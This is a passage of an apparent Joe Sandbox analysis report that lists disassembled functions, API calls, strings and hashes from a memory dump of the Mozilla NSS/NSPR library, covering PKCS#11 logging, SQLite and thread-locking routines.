Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C652D22

Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730B88
Part of subcall function 6C7309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C730C5D
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C8D
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C9C
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730CD1
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730CEC
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730CFB
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730D16
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C730D26
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D35
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C730D65
Part of subcall function 6C7309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C730D70
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730D90
Part of subcall function 6C7309D0: free.MOZGLUE(00000000), ref: 6C730D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C652D3B

Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730BAB
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730BBA
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C652D54

Part of subcall function 6C7309D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C730BCB
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730BDE
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730C16

Strings

slotID = 0x%x, xrefs: 6C652D02
nsl, xrefs: 6C652D6C, 6C652D9A
pLabel = 0x%p, xrefs: 6C652D4F
pPin = 0x%p, xrefs: 6C652D1D
ulPinLen = %d, xrefs: 6C652D36
C_InitToken, xrefs: 6C652CE7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nsl
API String ID: 420000887-1665422656
Opcode ID: 91a496f4a92ec5febaf355d0fdee9aa19476f625fc3630425c7f46b50e249076
Instruction ID: ef3975493b4ffdbf71c1bbd93ce44375909282df2419590f5296cb463d7f8ee8
Opcode Fuzzy Hash: 91a496f4a92ec5febaf355d0fdee9aa19476f625fc3630425c7f46b50e249076
Instruction Fuzzy Hash: 9421B376602144AFDB009F54DE8CA897BF5EB4331EFA48134E60897722DB309968CB66

Function 6C6F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6F2D9F

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

sqlite3_exec.NSS3(?,?,6C6F2F70,?,?), ref: 6C6F2DF9
sqlite3_free.NSS3(00000000), ref: 6C6F2E2C
sqlite3_free.NSS3(?), ref: 6C6F2E3A
sqlite3_free.NSS3(?), ref: 6C6F2E52
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F2E62
sqlite3_free.NSS3(?), ref: 6C6F2E70
sqlite3_free.NSS3(?), ref: 6C6F2E89
sqlite3_free.NSS3(?), ref: 6C6F2EBB
sqlite3_free.NSS3(?), ref: 6C6F2ECB
sqlite3_free.NSS3(00000000), ref: 6C6F2F3E
sqlite3_free.NSS3(?), ref: 6C6F2F4C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction ID: dd8aa93a559742e0bad8e41d9b538c142572bb71cbf872de035dae2778d1a84d
Opcode Fuzzy Hash: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction Fuzzy Hash: B0616FB5E012559BEB00CFA5D885BDE77A2BF89348F244028DC25A7701E735E846CFA5

Function 6C637C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,Function_00097E60,00000000,?,?,?,?,6C6B067D,6C6B1C60,00000000), ref: 6C637C81

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

TlsGetValue.KERNEL32 ref: 6C637CA0
EnterCriticalSection.KERNEL32(?), ref: 6C637CB4
PR_Unlock.NSS3 ref: 6C637CCF

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32 ref: 6C637D04
EnterCriticalSection.KERNEL32(?), ref: 6C637D1B
realloc.MOZGLUE(-00000050), ref: 6C637D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C637DF4
PR_Unlock.NSS3 ref: 6C637E0E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction ID: fe126fa673593509d7866c7f9f4d98993d98c81c0f5c5301ab68874d4d09b8a4
Opcode Fuzzy Hash: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction Fuzzy Hash: 5E511371E09120EFDB029F28CD48A6677F1EB4335AF356139EE0887761EB309851CB99

Function 6C5A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D97
PR_Lock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DBA
PR_WaitCondVar.NSS3 ref: 6C5A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DEF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction ID: e12728a62c04568e3afb4d876d48513f7883300160da5feb0532c84294526642
Opcode Fuzzy Hash: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction Fuzzy Hash: 1441AFB1A05614CFCB00EFB9D88815DBBF4BF0A318F154679D8989B714EB30D895CB95

Function 6C648F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6490EC

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

Strings

nsl, xrefs: 6C6490A3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nsl
API String ID: 2831689957-3778653006
Opcode ID: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction ID: 3a584d024c084f559e581ed064987654133bf8572fa66e211c821207f89d87ed
Opcode Fuzzy Hash: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction Fuzzy Hash: A7517A70A45215CFCB00EF38C588299BBF9BF0A319F1585B9DD449BB15EB30E884CB99

Function 6C737CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C737CE0

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737D36
PR_Realloc.NSS3(?,00000080), ref: 6C737D6D
PR_GetCurrentThread.NSS3 ref: 6C737D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C737DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737DD8
malloc.MOZGLUE(00000080), ref: 6C737DF8
PR_GetCurrentThread.NSS3 ref: 6C737E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C737DF0
:%s:%d:0x%lx, xrefs: 6C737DB9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction ID: 2dde5ac9c84ecf093485d78834f0be6a854b25e6810cfcd5e25e3fb84c3adf0a
Opcode Fuzzy Hash: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction Fuzzy Hash: 6041C5B1910215DFDB04CF28CE8596B37AAFF85318B25456CE81D8BB52D731E901CBA5

Function 6C737E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C737E46

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C737EAF
PR_ImportFile.NSS3(?), ref: 6C737ECF
PR_GetCurrentThread.NSS3 ref: 6C737ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C737F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C737F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C737F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C737E41
%d:0x%lx, xrefs: 6C737EA9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 9a05519de56444ab1657016aba1138bab39bc0e097640180d511ca8e10fa6cf8
Instruction ID: 96c57ec6edfa8d0d1a462d947f3a831d6e38ead1bc3d9ae771c6106fd0d67802
Opcode Fuzzy Hash: 9a05519de56444ab1657016aba1138bab39bc0e097640180d511ca8e10fa6cf8
Instruction Fuzzy Hash: 8531457190413ADFDB00AB69CF84AABB7ACFF4A348F241535D80993A93E7319D05C795

Function 6C644E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C644E90
EnterCriticalSection.KERNEL32 ref: 6C644EA9
TlsGetValue.KERNEL32 ref: 6C644EC6
EnterCriticalSection.KERNEL32 ref: 6C644EDF
PL_HashTableLookup.NSS3 ref: 6C644EF8
PR_Unlock.NSS3 ref: 6C644F05
PR_Now.NSS3 ref: 6C644F13
PR_Unlock.NSS3 ref: 6C644F3A

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

bUdl, xrefs: 6C644E5C
bUdl, xrefs: 6C644F3F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUdl$bUdl
API String ID: 326028414-51985982
Opcode ID: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction ID: 1e59fc0e025d9cfbc3821a501d260f133616228a8d2da347326ddb78014a56b5
Opcode Fuzzy Hash: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction Fuzzy Hash: 03416BB4A04609DFCB00EF78C0848AABBF0FF89344B11C569EC999B714EB30E855CB95

Function 6C656C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C656C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656CA3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C656CD5

Strings

C_DigestInit, xrefs: 6C656C61
(CK_INVALID_HANDLE), xrefs: 6C656C9C
nsl, xrefs: 6C656CF4, 6C656D1F
hSession = 0x%x, xrefs: 6C656C7E, 6C656C8E
pMechanism = 0x%p, xrefs: 6C656CD0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nsl
API String ID: 1003633598-2134530496
Opcode ID: eabe85e19e5f345d6edf1e060d0bfd1bce9b17891790d4f2d41c6e26f9d12804
Instruction ID: 9b6aed04220caef0401121b6f76f3f74f74768707bd782c430898f449e5d8120
Opcode Fuzzy Hash: eabe85e19e5f345d6edf1e060d0bfd1bce9b17891790d4f2d41c6e26f9d12804
Instruction Fuzzy Hash: B5210631A021149FDB009B54DE8DB9E77B5EB47319FA44035E509D7B12DF30D918CB9A

Function 6C659DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C659DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659E33

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C659E65

Strings

C_SessionCancel, xrefs: 6C659DF1
(CK_INVALID_HANDLE), xrefs: 6C659E2C
nsl, xrefs: 6C659E7D, 6C659EA8
flags = 0x%x, xrefs: 6C659E60
hSession = 0x%x, xrefs: 6C659E0E, 6C659E1E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nsl
API String ID: 1003633598-3424459196
Opcode ID: bbea8ca66f057429fffa41dfc15a492c383909f76b1fc23d9b9e9c64c1188313
Instruction ID: 10fb92c4cade5a8de44e51b4e3abfba26136d64436908425398c6f5fa856c953
Opcode Fuzzy Hash: bbea8ca66f057429fffa41dfc15a492c383909f76b1fc23d9b9e9c64c1188313
Instruction Fuzzy Hash: 2521D5B17021149FD7009B14DE8DB9E77B5AF4730DF644034EA0997B02DB30995AC7AA

Function 6C66ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C66DE64), ref: 6C66ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66ED22

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PL_FreeArenaPool.NSS3(?), ref: 6C66ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C66ED6B
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED38

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C66ED52
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED83
